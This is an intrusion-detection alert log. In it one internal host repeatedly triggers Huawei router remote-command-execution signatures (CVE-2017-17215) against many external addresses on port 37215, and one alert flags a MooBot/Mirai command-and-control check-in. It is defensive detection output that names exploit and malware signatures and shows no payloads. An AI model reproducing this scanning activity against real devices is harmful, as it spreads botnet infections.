ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.224.17.147

Timestamp:	2024-08-01T15:36:09.842461+0200
SID:	2835222
Source Port:	59876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.50.24.158

Timestamp:	2024-08-01T15:36:22.453910+0200
SID:	2835222
Source Port:	34544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.235.186.62

Timestamp:	2024-08-01T15:36:24.699991+0200
SID:	2835222
Source Port:	60506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 174.172.89.141

Timestamp:	2024-08-01T15:36:01.488690+0200
SID:	2835222
Source Port:	35640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.8.87.53

Timestamp:	2024-08-01T15:36:06.683756+0200
SID:	2835222
Source Port:	35692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 13.113.112.177

Timestamp:	2024-08-01T15:36:11.961781+0200
SID:	2835222
Source Port:	43916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.87.248.238

Timestamp:	2024-08-01T15:36:15.134334+0200
SID:	2835222
Source Port:	60192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.228.155.1

Timestamp:	2024-08-01T15:35:21.842984+0200
SID:	2835222
Source Port:	55130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.206.221.199

Timestamp:	2024-08-01T15:36:16.183513+0200
SID:	2835222
Source Port:	35368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.198.11.233

Timestamp:	2024-08-01T15:36:22.456814+0200
SID:	2835222
Source Port:	50000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 125.161.255.108

Timestamp:	2024-08-01T15:35:02.608269+0200
SID:	2835222
Source Port:	34028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.229.98.219

Timestamp:	2024-08-01T15:35:54.384077+0200
SID:	2835222
Source Port:	56370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.111.43.190

Timestamp:	2024-08-01T15:36:14.808089+0200
SID:	2835222
Source Port:	47322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.121.45.98

Timestamp:	2024-08-01T15:35:35.120265+0200
SID:	2835222
Source Port:	60616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 36.70.144.223

Timestamp:	2024-08-01T15:36:01.671737+0200
SID:	2835222
Source Port:	40426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.67.89.254

Timestamp:	2024-08-01T15:36:40.246257+0200
SID:	2835222
Source Port:	39108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.38.106.89

Timestamp:	2024-08-01T15:35:37.241657+0200
SID:	2835222
Source Port:	58844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.55.94.13

Timestamp:	2024-08-01T15:36:03.734554+0200
SID:	2835222
Source Port:	58790
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.252.240.149

Timestamp:	2024-08-01T15:36:18.263344+0200
SID:	2835222
Source Port:	51074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.80.168.236

Timestamp:	2024-08-01T15:36:30.755617+0200
SID:	2835222
Source Port:	51658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.135.240.219

Timestamp:	2024-08-01T15:35:20.210221+0200
SID:	2835222
Source Port:	33192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 65.126.194.229

Timestamp:	2024-08-01T15:35:17.260720+0200
SID:	2835222
Source Port:	60348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.108.210.219

Timestamp:	2024-08-01T15:35:53.373364+0200
SID:	2835222
Source Port:	56092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.205.194.24

Timestamp:	2024-08-01T15:35:20.545666+0200
SID:	2835222
Source Port:	43312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 45.248.182.96

Timestamp:	2024-08-01T15:36:11.901005+0200
SID:	2835222
Source Port:	40978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.23.196.255

Timestamp:	2024-08-01T15:35:17.252757+0200
SID:	2835222
Source Port:	52904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 150.141.17.84

Timestamp:	2024-08-01T15:36:48.393732+0200
SID:	2835222
Source Port:	48960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.221.20.118

Timestamp:	2024-08-01T15:36:39.036657+0200
SID:	2835222
Source Port:	41524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.202.20.92

Timestamp:	2024-08-01T15:35:20.210946+0200
SID:	2835222
Source Port:	39006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.127.222.219

Timestamp:	2024-08-01T15:35:32.992491+0200
SID:	2835222
Source Port:	53060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 49.153.59.14

Timestamp:	2024-08-01T15:36:09.889187+0200
SID:	2835222
Source Port:	39196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.220.34.9

Timestamp:	2024-08-01T15:35:20.206399+0200
SID:	2835222
Source Port:	37286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.149.77.161

Timestamp:	2024-08-01T15:36:22.373199+0200
SID:	2835222
Source Port:	45520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 44.77.58.180

Timestamp:	2024-08-01T15:35:20.214874+0200
SID:	2835222
Source Port:	49460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.79.109.3

Timestamp:	2024-08-01T15:35:21.907749+0200
SID:	2835222
Source Port:	52470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.76.128.203

Timestamp:	2024-08-01T15:35:02.497413+0200
SID:	2835222
Source Port:	45270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.89.144.214

Timestamp:	2024-08-01T15:35:43.276939+0200
SID:	2835222
Source Port:	34710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.161.98.210

Timestamp:	2024-08-01T15:36:32.876944+0200
SID:	2835222
Source Port:	51088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 44.107.91.32

Timestamp:	2024-08-01T15:34:58.055016+0200
SID:	2835222
Source Port:	58360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 38.157.170.169

Timestamp:	2024-08-01T15:35:33.068517+0200
SID:	2835222
Source Port:	44332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.34.162.72

Timestamp:	2024-08-01T15:35:20.202818+0200
SID:	2835222
Source Port:	47942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 147.31.101.67

Timestamp:	2024-08-01T15:36:24.640549+0200
SID:	2835222
Source Port:	56510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.33.124.92

Timestamp:	2024-08-01T15:36:09.889416+0200
SID:	2835222
Source Port:	56564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.80.75.49

Timestamp:	2024-08-01T15:35:21.867617+0200
SID:	2835222
Source Port:	51034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 83.157.69.115

Timestamp:	2024-08-01T15:36:01.488719+0200
SID:	2835222
Source Port:	49038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 130.61.183.35

Timestamp:	2024-08-01T15:36:18.254018+0200
SID:	2835222
Source Port:	49166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 58.206.132.145

Timestamp:	2024-08-01T15:35:20.206828+0200
SID:	2835222
Source Port:	44990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 58.13.73.80

Timestamp:	2024-08-01T15:36:46.433605+0200
SID:	2835222
Source Port:	46848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.240.186.133

Timestamp:	2024-08-01T15:36:16.183462+0200
SID:	2835222
Source Port:	35360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 13.20.85.52

Timestamp:	2024-08-01T15:36:42.264821+0200
SID:	2835222
Source Port:	44846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.51.110.122

Timestamp:	2024-08-01T15:35:17.174132+0200
SID:	2835222
Source Port:	57698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.98.91.183

Timestamp:	2024-08-01T15:36:24.541924+0200
SID:	2835222
Source Port:	33696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.11.129.185

Timestamp:	2024-08-01T15:35:21.910618+0200
SID:	2835222
Source Port:	44948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.25.6.103

Timestamp:	2024-08-01T15:36:44.213748+0200
SID:	2835222
Source Port:	40460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.253.236.38

Timestamp:	2024-08-01T15:35:21.888638+0200
SID:	2835222
Source Port:	60786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.147.100.203

Timestamp:	2024-08-01T15:36:00.666095+0200
SID:	2835222
Source Port:	53846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.154.100.136

Timestamp:	2024-08-01T15:35:21.873479+0200
SID:	2835222
Source Port:	40768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.238.235.163

Timestamp:	2024-08-01T15:35:07.704461+0200
SID:	2030490
Source Port:	38548
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 191.125.78.193

Timestamp:	2024-08-01T15:35:20.545875+0200
SID:	2835222
Source Port:	53976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.67.7.222

Timestamp:	2024-08-01T15:36:06.759098+0200
SID:	2835222
Source Port:	42310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.82.139.224

Timestamp:	2024-08-01T15:36:09.884980+0200
SID:	2835222
Source Port:	42980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.32.230.2

Timestamp:	2024-08-01T15:36:24.454109+0200
SID:	2835222
Source Port:	55394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.120.212.182

Timestamp:	2024-08-01T15:36:18.258560+0200
SID:	2835222
Source Port:	57194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.252.179.4

Timestamp:	2024-08-01T15:35:16.402229+0200
SID:	2835222
Source Port:	46180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 193.133.26.129

Timestamp:	2024-08-01T15:35:35.121144+0200
SID:	2835222
Source Port:	46366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.119.220.43

Timestamp:	2024-08-01T15:36:46.308691+0200
SID:	2835222
Source Port:	56374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.84.64.80

Timestamp:	2024-08-01T15:35:20.207315+0200
SID:	2835222
Source Port:	36728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.115.6.79

Timestamp:	2024-08-01T15:35:56.401627+0200
SID:	2835222
Source Port:	34682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.215.89.126

Timestamp:	2024-08-01T15:35:33.066723+0200
SID:	2835222
Source Port:	38576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.4.251.191

Timestamp:	2024-08-01T15:35:58.793965+0200
SID:	2835222
Source Port:	39266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.149.53.223

Timestamp:	2024-08-01T15:36:24.460331+0200
SID:	2835222
Source Port:	50998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.138.22.23

Timestamp:	2024-08-01T15:35:17.038368+0200
SID:	2835222
Source Port:	54308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.48.175.202

Timestamp:	2024-08-01T15:36:06.758885+0200
SID:	2835222
Source Port:	58034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.102.235.147

Timestamp:	2024-08-01T15:35:16.324174+0200
SID:	2835222
Source Port:	58748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.36.182.166

Timestamp:	2024-08-01T15:35:50.559626+0200
SID:	2835222
Source Port:	53878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.108.225.40

Timestamp:	2024-08-01T15:35:20.216228+0200
SID:	2835222
Source Port:	60510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.251.177.127

Timestamp:	2024-08-01T15:36:39.184242+0200
SID:	2835222
Source Port:	49538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.83.66.185

Timestamp:	2024-08-01T15:36:28.882567+0200
SID:	2835222
Source Port:	59284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.226.171.207

Timestamp:	2024-08-01T15:35:21.918441+0200
SID:	2835222
Source Port:	55368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.16.100.78

Timestamp:	2024-08-01T15:35:21.885607+0200
SID:	2835222
Source Port:	51284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 200.89.131.108

Timestamp:	2024-08-01T15:35:16.853926+0200
SID:	2835222
Source Port:	40032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 184.46.233.237

Timestamp:	2024-08-01T15:35:16.466824+0200
SID:	2835222
Source Port:	55634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.58.10.39

Timestamp:	2024-08-01T15:35:21.933539+0200
SID:	2835222
Source Port:	57490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 1.179.231.118

Timestamp:	2024-08-01T15:36:18.286213+0200
SID:	2835222
Source Port:	33920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.233.8.185

Timestamp:	2024-08-01T15:36:48.404515+0200
SID:	2835222
Source Port:	47330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.203.23.110

Timestamp:	2024-08-01T15:35:16.900494+0200
SID:	2835222
Source Port:	59580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 57.81.164.95

Timestamp:	2024-08-01T15:35:21.838044+0200
SID:	2835222
Source Port:	46312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 97.225.37.49

Timestamp:	2024-08-01T15:35:21.865827+0200
SID:	2835222
Source Port:	48010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.67.198.48

Timestamp:	2024-08-01T15:35:21.958099+0200
SID:	2835222
Source Port:	37086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 145.140.117.138

Timestamp:	2024-08-01T15:35:50.304302+0200
SID:	2835222
Source Port:	45220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 12.15.203.112

Timestamp:	2024-08-01T15:35:53.373604+0200
SID:	2835222
Source Port:	35316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.222.207.115

Timestamp:	2024-08-01T15:36:51.587340+0200
SID:	2835222
Source Port:	59228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.142.243.64

Timestamp:	2024-08-01T15:35:20.204399+0200
SID:	2835222
Source Port:	50606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.68.74.222

Timestamp:	2024-08-01T15:35:35.119567+0200
SID:	2835222
Source Port:	46374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.24.9.41

Timestamp:	2024-08-01T15:35:37.222203+0200
SID:	2835222
Source Port:	55280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.54.52.246

Timestamp:	2024-08-01T15:35:40.243221+0200
SID:	2835222
Source Port:	60996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.94.186.192

Timestamp:	2024-08-01T15:36:29.404372+0200
SID:	2835222
Source Port:	59356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.185.123.193

Timestamp:	2024-08-01T15:36:06.829411+0200
SID:	2835222
Source Port:	52666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.35.116.111

Timestamp:	2024-08-01T15:35:17.131340+0200
SID:	2835222
Source Port:	51296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

